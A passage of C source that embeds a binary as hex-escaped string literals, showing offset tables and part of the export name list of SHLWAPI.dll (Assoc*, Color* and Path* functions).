\"\\xC3\\x3D\\x00\\x00\\xD0\\x3D\\x00\\x00\\xDD\\x3D\\x00\\x00\\xEA\\x3D\\x00\\x00\"   //Ã=..Ð=..Ý=..ê=..\n/* 002380 */   \"\\xF7\\x3D\\x00\\x00\\xFF\\x3D\\x00\\x00\\x07\\x3E\\x00\\x00\\x0F\\x3E\\x00\\x00\"   //÷=..ÿ=...>...>..\n/* 0023A0 */   \"\\x18\\x3E\\x00\\x00\\x21\\x3E\\x00\\x00\\x2B\\x3E\\x00\\x00\\x34\\x3E\\x00\\x00\"   //.>..!>..+>..4>..\n/* 0023C0 */   \"\\x3C\\x3E\\x00\\x00\\x4A\\x3E\\x00\\x00\\x58\\x3E\\x00\\x00\\x62\\x3E\\x00\\x00\"   //<>..J>..X>..b>..\n/* 0023E0 */   \"\\x6E\\x3E\\x00\\x00\\x7A\\x3E\\x00\\x00\\x84\\x3E\\x00\\x00\\x8D\\x3E\\x00\\x00\"   //n>..z>...>...>..\n/* 002400 */   \"\\x96\\x3E\\x00\\x00\\xA6\\x3E\\x00\\x00\\xB6\\x3E\\x00\\x00\\xC7\\x3E\\x00\\x00\"   //.>...>...>..Ç>..\n/* 002420 */   \"\\xD8\\x3E\\x00\\x00\\xE4\\x3E\\x00\\x00\\xF0\\x3E\\x00\\x00\\xFC\\x3E\\x00\\x00\"   //Ø>..ä>..ð>..ü>..\n/* 002440 */   \"\\x08\\x3F\\x00\\x00\\x1B\\x3F\\x00\\x00\\x2E\\x3F\\x00\\x00\\x39\\x3F\\x00\\x00\"   //.?...?...?..9?..\n/* 002460 */   \"\\x44\\x3F\\x00\\x00\\x54\\x3F\\x00\\x00\\x64\\x3F\\x00\\x00\\x70\\x3F\\x00\\x00\"   //D?..T?..d?..p?..\n/* 002480 */   \"\\x7C\\x3F\\x00\\x00\\x85\\x3F\\x00\\x00\\x8E\\x3F\\x00\\x00\\x95\\x3F\\x00\\x00\"   //|?...?...?...?..\n/* 0024A0 */   \"\\xA5\\x3F\\x00\\x00\\xB5\\x3F\\x00\\x00\\xC2\\x3F\\x00\\x00\\xCF\\x3F\\x00\\x00\"   //.?...?..Â?..Ï?..\n/* 0024C0 */   \"\\xD6\\x3F\\x00\\x00\\xE3\\x3F\\x00\\x00\\xF0\\x3F\\x00\\x00\\xFB\\x3F\\x00\\x00\"   //Ö?..ã?..ð?..û?..\n/* 0024E0 */   \"\\x06\\x40\\x00\\x00\\x12\\x40\\x00\\x00\\x63\\x01\\xF3\\x01\\xF4\\x01\\xF5\\x01\"   //.@...@..c.ó.ô.õ.\n/* 002500 */   \"\\xF6\\x01\\xF7\\x01\\x35\\x02\\x36\\x02\\x37\\x02\\x38\\x02\\x39\\x02\\x3A\\x02\"   //ö.÷.5.6.7.8.9.:.\n/* 002520 */   \"\\x3B\\x02\\x3C\\x02\\x22\\x02\\x3D\\x02\\x0D\\x00\\x0E\\x00\\x3E\\x02\\x3F\\x02\"   //;.<.\".=.....>.?.\n/* 002540 */   \"\\x40\\x02\\x41\\x02\\x42\\x02\\x1C\\x00\\x43\\x02\\x44\\x02\\x45\\x02\\x46\\x02\"   //@.A.B...C.D.E.F.\n/* 002560 */   \"\\x47\\x02\\x48\\x02\\x49\\x02\\x4A\\x02\\x4B\\x02\\x4C\\x02\\x4D\\x02\\x4E\\x02\"   //G.H.I.J.K.L.M.N.\n/* 002580 */   \"\\x4F\\x02\\x50\\x02\\x51\\x02\\x52\\x02\\x53\\x02\\x54\\x02\\x55\\x02\\x56\\x02\"   //O.P.Q.R.S.T.U.V.\n/* 0025A0 */   \"\\x57\\x02\\x58\\x02\\x59\\x02\\x5A\\x02\\x5B\\x02\\x5C\\x02\\x5D\\x02\\x5E\\x02\"   //W.X.Y.Z.[.\\.].^.\n/* 0025C0 */   \"\\x5F\\x02\\x60\\x02\\x61\\x02\\x62\\x02\\x63\\x02\\x64\\x02\\x65\\x02\\x66\\x02\"   //_.`.a.b.c.d.e.f.\n/* 0025E0 */   \"\\x67\\x02\\x68\\x02\\x69\\x02\\x6A\\x02\\x6B\\x02\\x6C\\x02\\x6D\\x02\\x6E\\x02\"   //g.h.i.j.k.l.m.n.\n/* 002600 */   \"\\x6F\\x02\\x70\\x02\\x71\\x02\\x72\\x02\\x73\\x02\\x74\\x02\\x75\\x02\\x76\\x02\"   //o.p.q.r.s.t.u.v.\n/* 002620 */   \"\\x77\\x02\\x78\\x02\\x79\\x02\\x7A\\x02\\x7B\\x02\\x7C\\x02\\x7D\\x02\\x7E\\x02\"   //w.x.y.z.{.|.}.~.\n/* 002640 */   \"\\x7F\\x02\\x80\\x02\\x81\\x02\\x82\\x02\\x83\\x02\\x84\\x02\\x85\\x02\\x86\\x02\"   //................\n/* 002660 */   \"\\x87\\x02\\x88\\x02\\x89\\x02\\x8A\\x02\\x8B\\x02\\x8C\\x02\\x8D\\x02\\x8E\\x02\"   //................\n/* 002680 */   \"\\x8F\\x02\\x90\\x02\\x91\\x02\\x92\\x02\\x93\\x02\\x94\\x02\\x95\\x02\\x96\\x02\"   //................\n/* 0026A0 */   \"\\x97\\x02\\x98\\x02\\x99\\x02\\x9A\\x02\\x9B\\x02\\x9C\\x02\\x9D\\x02\\x9E\\x02\"   //................\n/* 0026C0 */   \"\\x9F\\x02\\xA0\\x02\\xA1\\x02\\xA2\\x02\\xA3\\x02\\xA4\\x02\\xA5\\x02\\xA6\\x02\"   //................\n/* 0026E0 */   \"\\xA7\\x02\\xA8\\x02\\xA9\\x02\\xAA\\x02\\xAB\\x02\\xAC\\x02\\xAD\\x02\\xAE\\x02\"   //................\n/* 002700 */   \"\\xAF\\x02\\xB0\\x02\\x06\\x00\\xB1\\x02\\xB2\\x02\\xB3\\x02\\xB4\\x02\\xB5\\x02\"   //................\n/* 002720 */   \"\\xB6\\x02\\xB7\\x02\\xB8\\x02\\x0F\\x00\\xB9\\x02\\xBA\\x02\\xBB\\x02\\xBC\\x02\"   //................\n/* 002740 */   \"\\xBD\\x02\\xBE\\x02\\xBF\\x02\\xC0\\x02\\xC1\\x02\\xC2\\x02\\xC3\\x02\\xC4\\x02\"   //......À.Á.Â.Ã.Ä.\n/* 002760 */   \"\\xC5\\x02\\x09\\x00\\xC6\\x02\\xC7\\x02\\xC8\\x02\\xC9\\x02\\x02\\x02\\xCA\\x02\"   //Å...Æ.Ç.È.É...Ê.\n/* 002780 */   \"\\xE6\\x01\\x07\\x00\\xCB\\x02\\xCC\\x02\\xCD\\x02\\xCE\\x02\\xCF\\x02\\xD0\\x02\"   //æ...Ë.Ì.Í.Î.Ï.Ð.\n/* 0027A0 */   \"\\xD1\\x02\\xD2\\x02\\xD3\\x02\\xD4\\x02\\xD5\\x02\\xD6\\x02\\xD7\\x02\\xD8\\x02\"   //Ñ.Ò.Ó.Ô.Õ.Ö.×.Ø.\n/* 0027C0 */   \"\\xD9\\x02\\xDA\\x02\\xDB\\x02\\xDC\\x02\\xDD\\x02\\xDE\\x02\\xDF\\x02\\xE0\\x02\"   //Ù.Ú.Û.Ü.Ý.Þ.ß.à.\n/* 0027E0 */   \"\\xE1\\x02\\xE2\\x02\\xE3\\x02\\xE4\\x02\\xE5\\x02\\xE6\\x02\\xE7\\x02\\xE8\\x02\"   //á.â.ã.ä.å.æ.ç.è.\n/* 002800 */   \"\\xE9\\x02\\xEA\\x02\\xEB\\x02\\xEC\\x02\\xED\\x02\\xEE\\x02\\xEF\\x02\\xF0\\x02\"   //é.ê.ë.ì.í.î.ï.ð.\n/* 002820 */   \"\\xF1\\x02\\xF2\\x02\\xF3\\x02\\xF4\\x02\\xF5\\x02\\xF6\\x02\\xF7\\x02\\xF8\\x02\"   //ñ.ò.ó.ô.õ.ö.÷.ø.\n/* 002840 */   \"\\xF9\\x02\\xFA\\x02\\x08\\x00\\xFB\\x02\\xFC\\x02\\xFD\\x02\\xFE\\x02\\xFF\\x02\"   //ù.ú...û.ü.ý.þ.ÿ.\n/* 002860 */   \"\\x00\\x03\\x01\\x03\\x02\\x03\\x03\\x03\\x04\\x03\\x05\\x03\\x06\\x03\\x07\\x03\"   //................\n/* 002880 */   \"\\x08\\x03\\x9A\\x00\\x9B\\x00\\x9C\\x00\\x9D\\x00\\x09\\x03\\x0A\\x03\\x0B\\x03\"   //................\n/* 0028A0 */   \"\\x0C\\x03\\x0D\\x03\\x0E\\x03\\x0F\\x03\\x10\\x03\\x11\\x03\\x12\\x03\\x13\\x03\"   //................\n/* 0028C0 */   \"\\x14\\x03\\x15\\x03\\x16\\x03\\x17\\x03\\x18\\x03\\x19\\x03\\x1A\\x03\\x1B\\x03\"   //................\n/* 0028E0 */   \"\\x1C\\x03\\x1D\\x03\\x1E\\x03\\x1F\\x03\\x20\\x03\\x21\\x03\\x22\\x03\\x23\\x03\"   //..........!.\".#.\n/* 002900 */   \"\\x24\\x03\\x25\\x03\\x26\\x03\\x27\\x03\\x28\\x03\\x29\\x03\\x2A\\x03\\x2B\\x03\"   //$.%.&.'.(.).*.+.\n/* 002920 */   \"\\x2C\\x03\\x2D\\x03\\x2E\\x03\\x2F\\x03\\x30\\x03\\x31\\x03\\x32\\x03\\x33\\x03\"   //,.-.../.0.1.2.3.\n/* 002940 */   \"\\x34\\x03\\x35\\x03\\x36\\x03\\x37\\x03\\x38\\x03\\x39\\x03\\x3A\\x03\\x3B\\x03\"   //4.5.6.7.8.9.:.;.\n/* 002960 */   \"\\x3C\\x03\\x3D\\x03\\x3E\\x03\\x3F\\x03\\x40\\x03\\x41\\x03\\x42\\x03\\x43\\x03\"   //<.=.>.?.@.A.B.C.\n/* 002980 */   \"\\x44\\x03\\x45\\x03\\x46\\x03\\x47\\x03\\x48\\x03\\x49\\x03\\x4A\\x03\\x4B\\x03\"   //D.E.F.G.H.I.J.K.\n/* 0029A0 */   \"\\x4C\\x03\\x4D\\x03\\x4E\\x03\\x4F\\x03\\x50\\x03\\x51\\x03\\x52\\x03\\x53\\x03\"   //L.M.N.O.P.Q.R.S.\n/* 0029C0 */   \"\\x54\\x03\\x55\\x03\\x56\\x03\\x57\\x03\\x58\\x03\\x59\\x03\\x53\\x48\\x4C\\x57\"   //T.U.V.W.X.Y.SHLW\n/* 0029E0 */   \"\\x41\\x50\\x49\\x2E\\x64\\x6C\\x6C\\x00\\x41\\x73\\x73\\x6F\\x63\\x43\\x72\\x65\"   //API.dll.AssocCre\n/* 002A00 */   \"\\x61\\x74\\x65\\x00\\x41\\x73\\x73\\x6F\\x63\\x47\\x65\\x74\\x50\\x65\\x72\\x63\"   //ate.AssocGetPerc\n/* 002A20 */   \"\\x65\\x69\\x76\\x65\\x64\\x54\\x79\\x70\\x65\\x00\\x41\\x73\\x73\\x6F\\x63\\x49\"   //eivedType.AssocI\n/* 002A40 */   \"\\x73\\x44\\x61\\x6E\\x67\\x65\\x72\\x6F\\x75\\x73\\x00\\x41\\x73\\x73\\x6F\\x63\"   //sDangerous.Assoc\n/* 002A60 */   \"\\x51\\x75\\x65\\x72\\x79\\x4B\\x65\\x79\\x41\\x00\\x41\\x73\\x73\\x6F\\x63\\x51\"   //QueryKeyA.AssocQ\n/* 002A80 */   \"\\x75\\x65\\x72\\x79\\x4B\\x65\\x79\\x57\\x00\\x41\\x73\\x73\\x6F\\x63\\x51\\x75\"   //ueryKeyW.AssocQu\n/* 002AA0 */   \"\\x65\\x72\\x79\\x53\\x74\\x72\\x69\\x6E\\x67\\x41\\x00\\x41\\x73\\x73\\x6F\\x63\"   //eryStringA.Assoc\n/* 002AC0 */   \"\\x51\\x75\\x65\\x72\\x79\\x53\\x74\\x72\\x69\\x6E\\x67\\x42\\x79\\x4B\\x65\\x79\"   //QueryStringByKey\n/* 002AE0 */   \"\\x41\\x00\\x41\\x73\\x73\\x6F\\x63\\x51\\x75\\x65\\x72\\x79\\x53\\x74\\x72\\x69\"   //A.AssocQueryStri\n/* 002B00 */   \"\\x6E\\x67\\x42\\x79\\x4B\\x65\\x79\\x57\\x00\\x41\\x73\\x73\\x6F\\x63\\x51\\x75\"   //ngByKeyW.AssocQu\n/* 002B20 */   \"\\x65\\x72\\x79\\x53\\x74\\x72\\x69\\x6E\\x67\\x57\\x00\\x43\\x68\\x72\\x43\\x6D\"   //eryStringW.ChrCm\n/* 002B40 */   \"\\x70\\x49\\x41\\x00\\x43\\x68\\x72\\x43\\x6D\\x70\\x49\\x57\\x00\\x43\\x6F\\x6C\"   //pIA.ChrCmpIW.Col\n/* 002B60 */   \"\\x6F\\x72\\x41\\x64\\x6A\\x75\\x73\\x74\\x4C\\x75\\x6D\\x61\\x00\\x43\\x6F\\x6C\"   //orAdjustLuma.Col\n/* 002B80 */   \"\\x6F\\x72\\x48\\x4C\\x53\\x54\\x6F\\x52\\x47\\x42\\x00\\x43\\x6F\\x6C\\x6F\\x72\"   //orHLSToRGB.Color\n/* 002BA0 */   \"\\x52\\x47\\x42\\x54\\x6F\\x48\\x4C\\x53\\x00\\x44\\x65\\x6C\\x61\\x79\\x4C\\x6F\"   //RGBToHLS.DelayLo\n/* 002BC0 */   \"\\x61\\x64\\x46\\x61\\x69\\x6C\\x75\\x72\\x65\\x48\\x6F\\x6F\\x6B\\x00\\x44\\x6C\"   //adFailureHook.Dl\n/* 002BE0 */   \"\\x6C\\x47\\x65\\x74\\x56\\x65\\x72\\x73\\x69\\x6F\\x6E\\x00\\x47\\x65\\x74\\x41\"   //lGetVersion.GetA\n/* 002C00 */   \"\\x63\\x63\\x65\\x70\\x74\\x4C\\x61\\x6E\\x67\\x75\\x61\\x67\\x65\\x73\\x41\\x00\"   //cceptLanguagesA.\n/* 002C20 */   \"\\x47\\x65\\x74\\x41\\x63\\x63\\x65\\x70\\x74\\x4C\\x61\\x6E\\x67\\x75\\x61\\x67\"   //GetAcceptLanguag\n/* 002C40 */   \"\\x65\\x73\\x57\\x00\\x47\\x65\\x74\\x4D\\x65\\x6E\\x75\\x50\\x6F\\x73\\x46\\x72\"   //esW.GetMenuPosFr\n/* 002C60 */   \"\\x6F\\x6D\\x49\\x44\\x00\\x48\\x61\\x73\\x68\\x44\\x61\\x74\\x61\\x00\\x49\\x6E\"   //omID.HashData.In\n/* 002C80 */   \"\\x74\\x6C\\x53\\x74\\x72\\x45\\x71\\x57\\x6F\\x72\\x6B\\x65\\x72\\x41\\x00\\x49\"   //tlStrEqWorkerA.I\n/* 002CA0 */   \"\\x6E\\x74\\x6C\\x53\\x74\\x72\\x45\\x71\\x57\\x6F\\x72\\x6B\\x65\\x72\\x57\\x00\"   //ntlStrEqWorkerW.\n/* 002CC0 */   \"\\x49\\x73\\x43\\x68\\x61\\x72\\x53\\x70\\x61\\x63\\x65\\x41\\x00\\x49\\x73\\x43\"   //IsCharSpaceA.IsC\n/* 002CE0 */   \"\\x68\\x61\\x72\\x53\\x70\\x61\\x63\\x65\\x57\\x00\\x50\\x61\\x74\\x68\\x41\\x64\"   //harSpaceW.PathAd\n/* 002D00 */   \"\\x64\\x42\\x61\\x63\\x6B\\x73\\x6C\\x61\\x73\\x68\\x41\\x00\\x50\\x61\\x74\\x68\"   //dBackslashA.Path\n/* 002D20 */   \"\\x41\\x64\\x64\\x42\\x61\\x63\\x6B\\x73\\x6C\\x61\\x73\\x68\\x57\\x00\\x50\\x61\"   //AddBackslashW.Pa\n/* 002D40 */   \"\\x74\\x68\\x41\\x64\\x64\\x45\\x78\\x74\\x65\\x6E\\x73\\x69\\x6F\\x6E\\x41\\x00\"   //thAddExtensionA.\n/* 002D60 */   \"\\x50\\x61\\x74\\x68\\x41\\x64\\x64\\x45\\x78\\x74\\x65\\x6E\\x73\\x69\\x6F\\x6E\"   //PathAddExtension\n/* 002D80 */   \"\\x57\\x00\\x50\\x61\\x74\\x68\\x41\\x70\\x70\\x65\\x6E\\x64\\x41\\x00\\x50\\x61\"   //W.PathAppendA.Pa\n/* 002DA0 */   \"\\x74\\x68\\x41\\x70\\x70\\x65\\x6E\\x64\\x57\\x00\\x50\\x61\\x74\\x68\\x42\\x75\"   //thAppendW.PathBu\n/* 002DC0 */   \"\\x69\\x6C\\x64\\x52\\x6F\\x6F\\x74\\x41\\x00\\x50\\x61\\x74\\x68\\x42\\x75\\x69\"   //ildRootA.PathBui\n/* 002DE0 */   \"\\x6C\\x64\\x52\\x6F\\x6F\\x74\\x57\\x00\\x50\\x61\\x74\\x68\\x43\\x61\\x6E\\x6F\"   //ldRootW.PathCano\n/* 002E00 */   \"\\x6E\\x69\\x63\\x61\\x6C\\x69\\x7A\\x65\\x41\\x00\\x50\\x61\\x74\\x68\\x43\\x61\"   //nicalizeA.PathCa\n/* 002E20 */   \"\\x6E\\x6F\\x6E\\x69\\x63\\x61\\x6C\\x69\\x7A\\x65\\x57\\x00\\x50\\x61\\x74\\x68\"   //nonicalizeW.Path\n/* 002E40 */   \"\\x43\\x6F\\x6D\\x62\\x69\\x6E\\x65\\x41\\x00\\x50\\x61\\x74\\x68\\x43\\x6F\\x6D\"   //CombineA.PathCom\n/* 002E60 */   \"\\x62\\x69\\x6E\\x65\\x57\\x00\\x50\\x61\\x74\\x68\\x43\\x6F\\x6D\\x6D\\x6F\\x6E\"   //bineW.PathCommon\n/* 002E80 */   \"\\x50\\x72\\x65\\x66\\x69\\x78\\x41\\x00\\x50\\x61\\x74\\x68\\x43\\x6F\\x6D\\x6D\"   //PrefixA.PathComm\n/* 002EA0 */   \"\\x6F\\x6E\\x50\\x72\\x65\\x66\\x69\\x78\\x57\\x00\\x50\\x61\\x74\\x68\\x43\\x6F\"   //onPrefixW.PathCo\n/* 002EC0 */   \"\\x6D\\x70\\x61\\x63\\x74\\x50\\x61\\x74\\x68\\x41\\x00\\x50\\x61\\x74\\x68\\x43\"   //mpactPathA.PathC\n/* 002EE0 */   \"\\x6F\\x6D\\x70\\x61\\x63\\x74\\x50\\x61\\x74\\x68\\x45\\x78\\x41\\x00\\x50\\x61\"   //ompactPathExA.Pa\n/* 002F00 */   \"\\x74\\x68\\x43\\x6F\\x6D\\x70\\x61\\x63\\x74\\x50\\x61\\x74\\x68\\x45\\x78\\x57\"   //thCompactPathExW\n/* 002F20 */   \"\\x00\\x50\\x61\\x74\\x68\\x43\\x6F\\x6D\\x70\\x61\\x63\\x74\\x50\\x61\\x74\\x68\"   //.PathCompactPath\n/* 002F40 */   \"\\x57\\x00\\x50\\x61\\x74\\x68\\x43\\x72\\x65\\x61\\x74\\x65\\x46\\x72\\x6F\\x6D\"   //W.PathCreateFrom\n/* 002F60 */   \"\\x55\\x72\\x6C\\x41\\x00\\x50\\x61\\x74\\x68\\x43\\x72\\x65\\x61\\x74\\x65\\x46\"   //UrlA.PathCreateF\n/* 002F80 */   \"\\x72\\x6F\\x6D\\x55\\x72\\x6C\\x57\\x00\\x50\\x61\\x74\\x68\\x46\\x69\\x6C\\x65\"   //romUrlW.PathFile\n/* 002FA0 */   \"\\x45\\x78\\x69\\x73\\x74\\x73\\x41\\x00\\x50\\x61\\x74\\x68\\x46\\x69\\x6C\\x65\"   //ExistsA.PathFile\n/* 002FC0 */   \"\\x45\\x78\\x69\\x73\\x74\\x73\\x57\\x00\\x50\\x61\\x74\\x68\\x46\\x69\\x6E\\x64\"   //ExistsW.PathFind\n/* 002FE0 */   \"\\x45\\x78\\x74\\x65\\x6E\\x73\\x69\\x6F\\x6E\\x41\\x00\\x50\\x61\\x74\\x68\\x46\"   //ExtensionA.PathF\n/* 003000 */   \"\\x69\\x6E\\x64\\x45\\x78\\x74\\x65\\x6E\\x73\\x69\\x6F\\x6E\\x57\\x00\\x50\\x61\"   //indExtensionW.Pa\n/* 003020 */   \"\\x74\\x68\\x46\\x69\\x6E\\x64\\x46\\x69\\x6C\\x65\\x4E\\x61\\x6D\\x65\\x41\\x00\"   //thFindFileNameA.\n/* 003040 */   \"\\x50\\x61\\x74\\x68\\x46\\x69\\x6E\\x64\\x46\\x69\\x6C\\x65\\x4E\\x61\\x6D\\x65\"   //PathFindFileName\n/* 003060 */   \"\\x57\\x00\\x50\\x61\\x74\\x68\\x46\\x69\\x6E\\x64\\x4E\\x65\\x78\\x74\\x43\\x6F\"   //W.PathFindNextCo\n/* 003080 */   \"\\x6D\\x70\\x6F\\x6E\\x65\\x6E\\x74\\x41\\x00\\x50\\x61\\x74\\x68\\x46\\x69\\x6E\"   //mponentA.PathFin\n/* 0030A0 */   \"\\x64\\x4E\\x65\\x78\\x74\\x43\\x6F\\x6D\\x70\\x6F\\x6E\\x65\\x6E\\x74\\x57\\x00\"   //dNextComponentW.\n/* 0030C0 */   \"\\x50\\x61\\x74\\x68\\x46\\x69\\x6E\\x64\\x4F\\x6E\\x50\\x61\\x74\\x68\\x41\\x00\"   //PathFindOnPathA.\n/* 0030E0 */   \"\\x50\\x61\\x74\\x68\\x46\\x69\\x6E\\x64\\x4F\\x6E\\x50\\x61\\x74\\x68\\x57\\x00\"   //PathFindOnPathW.\n/* 003100 */   \"\\x50\\x61\\x74\\x68\\x46\\x69\\x6E\\x64\\x53\\x75\\x66\\x66\\x69\\x78\\x41\\x72\"   //PathFindSuffixAr\n/* 003120 */   \"\\x72\\x61\\x79\\x41\\x00\\x50\\x61\\x74\\x68\\x46\\x69\\x6E\\x64\\x53\\x75\\x66\"   //rayA.PathFindSuf\n/* 003140 */   \"\\x66\\x69\\x78\\x41\\x72\\x72\\x61\\x79\\x57\\x00\\x50\\x61\\x74\\x68\\x47\\x65\"   //fixArrayW.PathGe\n/* 003160 */   \"\\x74\\x41\\x72\\x67\\x73\\x41\\x00\\x50\\x61\\x74\\x68\\x47\\x65\\x74\\x41\\x72\"   //tArgsA.PathGetAr\n/* 003180 */   \"\\x67\\x73\\x57\\x00\\x50\\x61\\x74\\x68\\x47\\x65\\x74\\x43\\x68\\x61\\x72\\x54\"   //gsW.PathGetCharT\n/* 0031A0 */   \"\\x79\\x70\\x65\\x41\\x00\\x50\\x61\\x74\\x68\\x47\\x65\\x74\\x43\\x68\\x61\\x72\"   //ypeA.PathGetChar\n/* 0031C0 */   \"\\x54\\x79\\x70\\x65\\x57\\x00\\x50\\x61\\x74\\x68\\x47\\x65\\x74\\x44\\x72\\x69\"   //TypeW.PathGetDri\n/* 0031E0 */   \"\\x76\\x65\\x4E\\x75\\x6D\\x62\\x65\\x72\\x41\\x00\\x50\\x61\\x74\\x68\\x47\\x65\"   //veNumberA.PathGe\n/* 003200 */   \"\\x74\\x44\\x72\\x69\\x76\\x65\\x4E\\x75\\x6D\\x62\\x65\\x72\\x57\\x00\\x50\\x61\"   //tDriveNumberW.Pa\n/* 003220 */   \"\\x74\\x68\\x49\\x73\\x43\\x6F\\x6E\\x74\\x65\\x6E\\x74\\x54\\x79\\x70\\x65\\x41\"   //thIsContentTypeA\n/* 003240 */   \"\\x00\\x50\\x61\\x74\\x68\\x49\\x73\\x43\\x6F\\x6E\\x74\\x65\\x6E\\x74\\x54\\x79\"   //.PathIsContentTy\n/* 003260 */   \"\\x70\\x65\\x57\\x00\\x50\\x61\\x74\\x68\\x49\\x73\\x44\\x69\\x72\\x65\\x63\\x74\"   //peW.PathIsDirect\n/* 003280 */   \"\\x6F\\x72\\x79\\x41\\x00\\x50\\x61\\x74\\x68\\x49\\x73\\x44\\x69\\x72\\x65\\x63\"   //oryA.PathIsDirec\n/* 0032A0 */   \"\\x74\\x6F\\x72\\x79\\x45\\x6D\\x70\\x74\\x79\\x41\\x00\\x50\\x61\\x74\\x68\\x49\"   //toryEmptyA.PathI\n/* 0032C0 */   \"\\x73\\x44\\x69\\x72\\x65\\x63\\x74\\x6F\\x72\\x79\\x45\\x6D\\x70\\x74\\x79\\x57\"   //sDirectoryEmptyW\n/* 0032E0 */   \"\\x00\\x50\\x61\\x74\\x68\\x49\\x73\\x44\\x69\\x72\\x65\\x63\\x74\\x6F\\x72\\x79\"   //.PathIsDirectory\n/* 003300 */   \"\\x57\\x00\\x50\\x61\\x74\\x68\\x49\\x73\\x46\\x69\\x6C\\x65\\x53\\x70\\x65\\x63\"   //W.PathIsFileSpec\n/* 003320 */   \"\\x41\\x00\\x50\\x61\\x74\\x68\\x49\\x73\\x46\\x69\\x6C\\x65\\x53\\x70\\x65\\x63\"   //A.PathIsFileSpec\n/* 003340 */   \"\\x57\\x00\\x50\\x61\\x74\\x68\\x49\\x73\\x4C\\x46\\x4E\\x46\\x69\\x6C\\x65\\x53\"   //W.PathIsLFNFileS\n/* 003360 */   \"\\x70\\x65\\x63\\x41\\x00\\x50\\x61\\x74\\x68\\x49\\x73\\x4C\\x46\\x4E\\x46\\x69\"   //pecA.PathIsLFNFi\n/* 003380 */   \"\\x6C\\x65\\x53\\x70\\x65\\x63\\x57\\x00\\x50\\x61\\x74\\x68\\x49\\x73\\x4E\\x65\"   //leSpecW.PathIsNe\n/* 0033A0 */   \"\\x74\\x77\\x6F\\x72\\x6B\\x50\\x61\\x74\\x68\\x41\\x00\\x50\\x61\\x74\\x68\\x49\"   //tworkPathA.PathI\n/* 0033C0 */   \"\\x73\\x4E\\x65\\x74\\x77\\x6F\\x72\\x6B\\x50\\x61\\x74\\x68\\x57\\x00\\x50\\x61\"   //sNetworkPathW.Pa\n/* 0033E0 */   \"\\x74\\x68\\x49\\x73\\x50\\x72\\x65\\x66\\x69\\x78\\x41\\x00\\x50\\x61\\x74\\x68\"   //thIsPrefixA.Path\n/* 003400 */   \"\\x49\\x73\\x50\\x72\\x65\\x66\\x69\\x78\\x57\\x00\\x50\\x61\\x74\\x68\\x49\\x73\"   //IsPrefixW.PathIs\n/* 003420 */   \"\\x52\\x65\\x6C\\x61\\x74\\x69\\x76\\x65\\x41\\x00\\x50\\x61\\x74\\x68\\x49\\x73\"   //RelativeA.PathIs\n/* 003440 */   \"\\x52\\x65\\x6C\\x61\\x74\\x69\\x76\\x65\\x57\\x00\\x50\\x61\\x74\\x68\\x49\\x73\"   //RelativeW.PathIs\n/* 003460 */   \"\\x52\\x6F\\x6F\\x74\\x41\\x00\\x50\\x61\\x74\\x68\\x49\\x73\\x52\\x6F\\x6F\\x74\"   //RootA.PathIsRoot\n/* 003480 */   \"\\x57\\x00\\x50\\x61\\x74\\x68\\x49\\x73\\x53\\x61\\x6D\\x65\\x52\\x6F\\x6F\\x74\"   //W.PathIsSameRoot\n/* 0034A0 */   \"\\x41\\x00\\x50\\x61\\x74\\x68\\x49\\x73\\x53\\x61\\x6D\\x65\\x52\\x6F\\x6F\\x74\"   //A.PathIsSameRoot\n/* 0034C0 */   \"\\x57\\x00\\x50\\x61\\x74\\x68\\x49\\x73\\x53\\x79\\x73\\x74\\x65\\x6D\\x46\\x6F\"   //W.PathIsSystemFo\n/* 0034E0 */   \"\\x6C\\x64\\x65\\x72\\x41\\x00\\x50\\x61\\x74\\x68\\x49\\x73\\x53\\x79\\x73\\x74\"   //lderA.PathIsSyst\n/* 003500 */   \"\\x65\\x6D\\x46\\x6F\\x6C\\x64\\x65\\x72\\x57\\x00\\x50\\x61\\x74\\x68\\x49\\x73\"   //emFolderW.PathIs\n/* 003520 */   \"\\x55\\x4E\\x43\\x41\\x00\\x50\\x61\\x74\\x68\\x49\\x73\\x55\\x4E\\x43\\x53\\x65\"   //UNCA.PathIsUNCSe\n/* 003540 */   \"\\x72\\x76\\x65\\x72\\x41\\x00\\x50\\x61\\x74\\x68\\x49\\x73\\x55\\x4E\\x43\\x53\"   //rverA.PathIsUNCS\n/* 003560 */   \"\\x65\\x72\\x76\\x65\\x72\\x53\\x68\\x61\\x72\\x65\\x41\\x00\\x50\\x61\\x74\\x68\"   //erverShareA.Path\n/* 003580 */   \"\\x49\\x73\\x55\\x4E\\x43\\x53\\x65\\x72\\x76\\x65\\x72\\x53\\x68\\x61\\x72\\x65\"   //IsUNCServerShare\n/* 0035A0 */   \"\\x57\\x00\\x50\\x61\\x74\\x68\\x49\\x73\\x55\\x4E\\x43\\x53\\x65\\x72\\x76\\x65\"   //W.PathIsUNCServe\n/* 0035C0 */   \"\\x72\\x57\\x00\\x50\\x61\\x74\\x68\\x49\\x73\\x55\\x4E\\x43\\x57\\x00\\x50\\x61\"   //rW.PathIsUNCW.Pa\n/* 0035E0 */   \"\\x74\\x68\\x49\\x73\\x55\\x52\\x4C\\x41\\x00\\x50\\x61\\x74\\x68\\x49\\x73\\x55\"   //thIsURLA.PathIsU\n/* 003600 */   \"\\x52\\x4C\\x57\\x00\\x50\\x61\\x74\\x68\\x4D\\x61\\x6B\\x65\\x50\\x72\\x65\\x74\"   //RLW.PathMakePret\n/* 003620 */   \"\\x74\\x79\\x41\\x00\\x50\\x61\\x74\\x68\\x4D\\x61\\x6B\\x65\\x50\\x72\\x65\\x74\"   //tyA.PathMakePret\n/* 003640 */   \"\\x74\\x79\\x57\\x00\\x50\\x61\\x74\\x68\\x4D\\x61\\x6B\\x65\\x53\\x79\\x73\\x74\"   //tyW.PathMakeSyst\n/* 003660 */   \"\\x65\\x6D\\x46\\x6F\\x6C\\x64\\x65\\x72\\x41\\x00\\x50\\x61\\x74\\x68\\x4D\\x61\"   //emFolderA.PathMa\n/* 003680 */   \"\\x6B\\x65\\x53\\x79\\x73\\x74\\x65\\x6D\\x46\\x6F\\x6C\\x64\\x65\\x72\\x57\\x00\"   //keSystemFolderW.\n/* 0036A0 */   \"\\x50\\x61\\x74\\x68\\x4D\\x61\\x74\\x63\\x68\\x53\\x70\\x65\\x63\\x41\\x00\\x50\"   //PathMatchSpecA.P\n/* 0036C0 */   \"\\x61\\x74\\x68\\x4D\\x61\\x74\\x63\\x68\\x53\\x70\\x65\\x63\\x57\\x00\\x50\\x61\"   //athMatchSpecW.Pa\n/* 0036E0 */   \"\\x74\\x68\\x50\\x61\\x72\\x73\\x65\\x49\\x63\\x6F\\x6E\\x4C\\x6F\\x63\\x61\\x74\"   //thParseIconLocat\n/* 003700 */   